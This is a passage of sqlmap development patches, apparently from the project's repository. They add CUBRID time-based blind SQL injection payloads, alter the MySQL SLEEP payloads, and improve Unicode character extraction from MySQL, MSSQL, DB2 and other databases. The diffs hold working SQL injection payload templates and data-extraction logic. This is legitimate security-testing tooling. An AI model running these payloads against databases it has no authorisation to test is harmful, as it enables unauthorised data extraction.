From 13e956ca64186e5d2b9b0638c58180a049abbe2d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 22:47:22 +0200 Subject: [PATCH 01/12] Adding Cubrid time-based payloads --- data/xml/payloads/time_blind.xml | 39 ++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 2 files changed, 40 insertions(+), 1 deletion(-) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 65d854c2332..223cdc111f4 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1092,6 +1092,45 @@ + + CUBRID AND time-based blind (SLEEP) + 5 + 1 + 1 + 1,2,3,8,9 + 1 + + AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root) + + AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root) + + + + +
+ Cubrid +
+
+ + + CUBRID OR time-based blind (SLEEP) + 5 + 1 + 1 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root) + + OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root) + + + + +
+ Cubrid +
+
+ Firebird >= 2.0 AND time-based blind (heavy query) 5 diff --git a/lib/core/settings.py b/lib/core/settings.py index bc16079aa82..9bf2023b814 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.198" +VERSION = "1.10.7.199" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dcb2b513c0de6dc1e9d1788fed79084fbb9d444d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 23:18:31 +0200 Subject: [PATCH 02/12] Hardening MySQL time-based payloads to not work on Cubrid --- data/xml/payloads/time_blind.xml | 88 ++++++++++++++++---------------- lib/core/settings.py | 2 +- 2 files changed, 45 insertions(+), 45 deletions(-) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 223cdc111f4..3a774d15ad0 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -11,9 +11,9 @@ 1 1,2,3,8,9 1 - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -31,9 +31,9 @@ 3 1,2,3,9 1 - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -51,9 +51,9 @@ 1 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - AND SLEEP([SLEEPTIME]) + AND !SLEEP([SLEEPTIME]) @@ -71,9 +71,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - OR SLEEP([SLEEPTIME]) + OR !SLEEP([SLEEPTIME]) @@ -91,9 +91,9 @@ 1 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - AND SLEEP([SLEEPTIME]) + AND !SLEEP([SLEEPTIME]) # @@ -112,9 +112,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - OR SLEEP([SLEEPTIME]) + OR !SLEEP([SLEEPTIME]) # @@ -133,9 +133,9 @@ 1 1,2,3,9 1 - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -154,9 +154,9 @@ 3 1,2,3,9 1 - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -339,9 +339,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])) - RLIKE SLEEP([SLEEPTIME]) + RLIKE !SLEEP([SLEEPTIME]) @@ -359,9 +359,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])) - RLIKE SLEEP([SLEEPTIME]) + RLIKE !SLEEP([SLEEPTIME]) # @@ -380,9 +380,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -400,9 +400,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -421,9 +421,9 @@ 1 1,2,3,8,9 1 - AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + AND ELT([INFERENCE],!SLEEP([SLEEPTIME])) - AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -441,9 +441,9 @@ 3 1,2,3,9 1 - OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + OR ELT([INFERENCE],!SLEEP([SLEEPTIME])) - OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -460,9 +460,9 @@ 1 1,2,3,9 1 - AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + AND ELT([INFERENCE],!SLEEP([SLEEPTIME])) - AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) # @@ -480,9 +480,9 @@ 3 1,2,3,9 1 - OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + OR ELT([INFERENCE],!SLEEP([SLEEPTIME])) - OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) # @@ -1663,9 +1663,9 @@ 1 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) + (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) @@ -1683,9 +1683,9 @@ 1 1,2,3,9 3 - (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -1743,9 +1743,9 @@ 1 1,2,3,9 3 - ([INFERENCE] AND SLEEP([SLEEPTIME])) + ([INFERENCE] AND !SLEEP([SLEEPTIME])) - ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME])) + ([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME])) @@ -1762,9 +1762,9 @@ 1 1,2,3,9 3 - ELT([INFERENCE],SLEEP([SLEEPTIME])) + ELT([INFERENCE],!SLEEP([SLEEPTIME])) - ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -1781,9 +1781,9 @@ 1 1,2,3,9 3 - MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) + MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME])) - MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -2077,9 +2077,9 @@ 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9bf2023b814..deab3618580 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.199" +VERSION = "1.10.7.200" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 69108bcf015a06a9dc48b1ed32694778910e0c64 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 23:58:52 +0200 Subject: [PATCH 03/12] Minor patch --- data/xml/queries.xml | 6 +++--- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 6ac58b7f6df..17240337906 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -440,8 +440,8 @@ - - + + @@ -1026,7 +1026,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index deab3618580..4b234d5e0b9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.200" +VERSION = "1.10.7.201" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ec58f57fa96d7af2159a0ba0b97562fb97540f7a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 11:35:14 +0200 Subject: [PATCH 04/12] Expanding capabilities of MySQL to correctly retrieve UTF8MB4 chars --- lib/core/agent.py | 3 +++ lib/core/enums.py | 1 + lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 4 ++-- plugins/dbms/mysql/fingerprint.py | 10 ++++++++++ 6 files changed, 18 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index c7aea8824d7..a30d33c5bdb 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -527,6 +527,9 @@ def nullAndCastField(self, field): else: if hexRaw: nulledCastedField = self.hexConvertField(field) + elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"): + # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them + nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field diff --git a/lib/core/enums.py b/lib/core/enums.py index aa8cc4e6561..6249b42efa6 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -305,6 +305,7 @@ class OPTION_TYPE(object): class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" + MYSQL_UTF8MB4 = "MYSQL_UTF8MB4" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS" CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" diff --git a/lib/core/option.py b/lib/core/option.py index 4c92f0e264e..b1aa4e4bd83 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2281,6 +2281,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.maxConnectionsFlag = False kb.trueLength = None kb.mergeCookies = None + kb.mysqlUtf8mb4 = None kb.multiThreadMode = False kb.multipleCtrlC = False kb.negativeLogic = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 4b234d5e0b9..46892995122 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.201" +VERSION = "1.10.7.202" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index bb449c3d5fc..95f618c3d6e 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -672,8 +672,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable = None elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace (Note: leading value covers MySQL's - # 3-byte ORD() range up to 0xEFBFBF, restoring CJK/non-Latin extraction - see issue #5171) - shiftTable = [4, 2, 2, 3, 3, 3] + # 4-byte ORD() range for emoji/supplementary-plane, then 3-byte for CJK - see issue #5171) + shiftTable = [8, 4, 2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index e3fcb1cf6fa..f6e1d6600c7 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -95,6 +95,14 @@ def _commentCheck(self): return None + def _checkUtf8mb4(self): + # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; cache whether utf8mb4 works ('' if not) + kb.mysqlUtf8mb4 = hashDBRetrieve(HASHDB_KEYS.MYSQL_UTF8MB4) + + if kb.mysqlUtf8mb4 is None: + kb.mysqlUtf8mb4 = "utf8mb4" if inject.checkBooleanExpression("[RANDNUM]=CONVERT([RANDNUM] USING utf8mb4)") else "" + hashDBWrite(HASHDB_KEYS.MYSQL_UTF8MB4, kb.mysqlUtf8mb4) + def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) @@ -118,6 +126,8 @@ def getFingerprint(self): hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + self._checkUtf8mb4() + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) From 8b70a392a1a4489d040ce442d61c1578c0215c1b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 11:49:41 +0200 Subject: [PATCH 05/12] Minor bug fix for bug UTF codepoints retrieval in MsSQL --- lib/core/common.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ab5edf895df..e1d72a1d9a7 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4001,7 +4001,8 @@ def decodeIntToUnicode(value): retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 - retVal = getUnicode(raw, "UTF-16-BE") + # supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct + retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: diff --git a/lib/core/settings.py b/lib/core/settings.py index 46892995122..2e46ad84f5e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.202" +VERSION = "1.10.7.203" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1d263f22c33143e7f386ce33c19c90856e881a1c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 12:05:49 +0200 Subject: [PATCH 06/12] Adding --hex for ClickHouse --- data/xml/queries.xml | 1 + lib/core/settings.py | 2 +- tests/test_agent.py | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 17240337906..a1c8aaf593c 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1347,6 +1347,7 @@ + diff --git a/lib/core/settings.py b/lib/core/settings.py index 2e46ad84f5e..0170ea3013b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.203" +VERSION = "1.10.7.204" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_agent.py b/tests/test_agent.py index 211fbb7fd8a..12d7a179cdb 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -108,6 +108,7 @@ # hexConvertField: dialects that DO have a hex function, mapped to its token. HEX_FUNCTION = { "Altibase": "HEX_ENCODE(", + "ClickHouse": "hex(", "Cubrid": "HEX(", "H2": "RAWTOHEX(", "IBM DB2": "HEX(", From d3cfad6a8d228ac5332ef4d022464568f169c57d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 12:52:08 +0200 Subject: [PATCH 07/12] Fixing DB2 boolean-based blind retrieval of non-ASCII chars --- data/xml/queries.xml | 6 +++--- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- plugins/dbms/db2/syntax.py | 12 ++++++++++-- 4 files changed, 15 insertions(+), 7 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index a1c8aaf593c..c48c0379cd3 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -626,7 +626,7 @@ - + @@ -638,11 +638,11 @@ - + - + diff --git a/lib/core/common.py b/lib/core/common.py index e1d72a1d9a7..a8b5705f12b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4003,7 +4003,7 @@ def decodeIntToUnicode(value): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 # supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0170ea3013b..3449e9b53e2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.204" +VERSION = "1.10.7.205" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 7ba5c8b9f38..2dd6088a662 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -5,7 +5,8 @@ See the file 'LICENSE' for copying permission """ -from lib.core.convert import getOrds +from lib.core.convert import getBytes +from lib.core.settings import UNICODE_ENCODING from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -17,6 +18,13 @@ def escape(expression, quote=True): """ def escaper(value): - return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + # CHR() is byte-based on DB2, so a non-ASCII codepoint needs its UTF-8 bytes to form a single char + result = [] + for char in value: + if ord(char) < 128: + result.append("CHR(%d)" % ord(char)) + else: + result.extend("CHR(%d)" % _ for _ in bytearray(getBytes(char, UNICODE_ENCODING, errors="replace", unsafe=False))) + return "||".join(result) return Syntax._escape(expression, quote, escaper) From 2aeb275ec9c51dd528fa6af211d4a477a6b4fdf7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 13:34:25 +0200 Subject: [PATCH 08/12] Some more unicode retrieval patchin --- data/xml/queries.xml | 2 +- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index c48c0379cd3..9bf22bac181 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1159,7 +1159,7 @@ - + diff --git a/lib/core/common.py b/lib/core/common.py index a8b5705f12b..50479f0f549 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4003,7 +4003,7 @@ def decodeIntToUnicode(value): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 # supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3449e9b53e2..9693accd65c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.205" +VERSION = "1.10.7.206" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 534f87366052b27eb60c6f099746426955890434 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 13:49:41 +0200 Subject: [PATCH 09/12] Minor update --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 50479f0f549..ef3b2936449 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4003,7 +4003,7 @@ def decodeIntToUnicode(value): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 # supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.MONETDB, DBMS.VERTICA): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9693accd65c..47f9df7bc16 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.206" +VERSION = "1.10.7.207" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 762650db07cc31d3753875cccc04972258262ca7 Mon Sep 17 00:00:00 2001 From: 